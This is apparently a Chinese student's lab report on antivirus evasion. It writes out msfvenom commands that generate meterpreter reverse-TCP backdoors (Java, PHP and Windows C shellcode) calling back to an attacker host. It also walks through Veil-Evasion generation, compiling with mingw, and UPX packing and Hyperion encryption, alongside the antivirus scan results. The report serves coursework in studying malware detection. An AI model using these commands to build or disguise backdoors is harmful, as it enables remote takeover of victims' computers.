Exp3 免杀原理与实践 20164309

Posted 2021-11-25 20164309-kx

实践内容

任务一：正确使用msf编码器，msfvenom生成如jar之类的其他文件，veil-evasion，自己利用shellcode编程等免杀工具或技巧

1.1MSF编码器

直接使用上次实验的20164309_backdoor.exe试试

看来文件名违法了，那改名为164309_backdoor。

改名后直接被清理。。看来裸奔的后门的确不好使。

 

找回文件添加进信任区，对其进行扫描

 

virscan57%的杀软报毒

有业界毒瘤之称的百度杀毒没查出来。。。（可喜可贺的是百度杀毒于去年11月份停止运营）

 

再在virustotal上试试，51个杀软报毒

 看来大部分正常的杀毒软件都能够识别直接用msf生成的病毒

 

 

 1.2veil-evasion

 输入sudo apt-get install veil-evasion  下载veil-evasion工具

 

在尝试过老师的实验指导同学的实验报告和网络的各种方法之后，我花费了一天还是没有展开那几个veil文件，拷贝了同学的kali使用veil进行生成。

输入 veil 进入veil工具

输入 use evasion 进入veil-evasion

输入 use c/meterpreter/rev_tcp.c 选择C语言、tcp端口、反弹回连

输入 set LHOST 192.168.236.131   set LPORT 4309 设置反弹ip和端口

输入 generate 生成文件并命名为4309_veil

扫描发现还是报毒

 

 

 

1.3msfvenom生成php和jar

 分别使用

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 x> 164309_backdoor_java.jar

 

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 x> 164309_backdoor_php.php

 

 生成php和jar的shellcode文件

 

 php表现较好

 

但这个不是可执行文件，没有可比性

 再看看jar

 

virscan（7/49） virustotal（33/57）严重怀疑virscan放水

 

 1.3shellcode

 

输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.236.131 LPORT=4309 -f c 生成后门

 进入 vim 4309shellcode.c 进行修改，加上函数头、主函数与文件头，完善为合法的C语言文件

 使用 i686-w64-mingw32-g++ 4309shellcode.c -o 4309shellcode.exe 使其生成可执行文件

 

 

电脑上的腾讯管家并未报毒，共存成功，那运行岂不是也能成功了？后来发现结果发现的确如此

这就算实现了？？？（后面发现并非如此）

 

1.4使用加壳工具

输入 upx 4309shellcode.exe -o 4309shellcodeupx.exe 

腾讯管家没有报毒

 

任务二：通过组合应用各种技术实现恶意代码免杀

再对该文件进行加密 cd /usr/share/windows-binaries/hyperion/ 

  wine hyperion.exe -v 4309_upx.exe 4309_upx_Hyperion.exe 

加密之后报毒猛增！

 

看来杀软可能是根据压缩、加密壳里的字段进行判断是否为病毒的

 运行看看

 

拷贝时没有被查杀，能够共存，但运行时出现了问题，看来腾讯管家还是有一些用的，放入白名单，发现回连成功。

 

 

再在虚拟机上复现，发现还是没能够实现回连（除非白名单伺候）

看来在2014年的腾讯管家就对其有一定的限制了，我认为对于不加壳的是反汇编分析源代码内容，发现程序头文件调用系统资源；而加壳加密的是直接查找有关的特征代码从而查找出病毒。

免杀路漫漫，我还是试一下python能不能够实现吧

 

使用

use python/meterpreter/rev_tcp.exe

生成python文件试试

 

 

输入 pip install pyinstaller  pyinstaller -F 4309py.py 对生成的文件进行编译，转换成exe文件

 

？？？还是失败

 

那我想试试加壳到底能不能帮助免杀呢？？？

源文件采用上学期的操作系统实验代码

 

这都给我报毒？？？

改成英文名在kali上加壳加密

使用  upx caozuoxitong.exe -o caozuoxitongupx.exe 进行加壳

使用 wine hyperion.exe -v caozuoxitongupx.exe caozuoxitongupx_hy.exe 进行加密

大好河山一片红。。。

 一个普通exe文件通过压缩加密之后反而报毒更多，看来刚刚的猜想被证实了，杀软通过壳里的特征码来进行杀毒的！！那在不手工修改代码的情况下肯定是难以实现的了。

 基础问题回答

1.杀软是如何检测出恶意代码的？

通过编译恶意代码，或者发现其中的特征代码以实现，就像本次实验中的加壳反而会被报毒；

通过代码运行时的行为，就像本次实验中有的能与杀软共存，但是一旦运行还是会被清理；

2. 免杀是做什么？

通过一些手段使恶意代码不被目标主机发现

3.免杀的基本方法有哪些？

手工对恶意代码进行更改，研究病毒库中的特征码，再对特征码进行更改

4.开启杀软能绝对防止电脑中恶意代码吗？

不一定，但是大部分的能够防止，杀软的病毒库是根据检测出来的病毒更新的，所谓道高一尺魔高一丈，恶意代码总有新的漏洞可以利用。

 实验感想

根据本次实验，以我们大多数人现在的水平，还没有达到通过编程直接生成病毒来实现入侵的水平，就算有，通过杀软通过编译伪装好的病毒也能够找出问题。而实验中的常规方法早已被各大杀软摸清楚底细，而且像我们用meterpreter生成的shellcode文件在运行时会生成meterpreter.o文件，这是调用系统资源的必要步骤，所以也许我们的后门能够共存，但是在不改变其根本结构的情况下不可能进行免杀，无论是对shellcode进行异或还是加壳最后编译完成的机器码是肯定会被检测出来的。而对于那些壳来说（尤其是加密壳）我们越是使用它反而被查杀的几率越大。尽管我没能完成回连，但是我用尽了我能够想到的方法，最起码做到了问心无愧。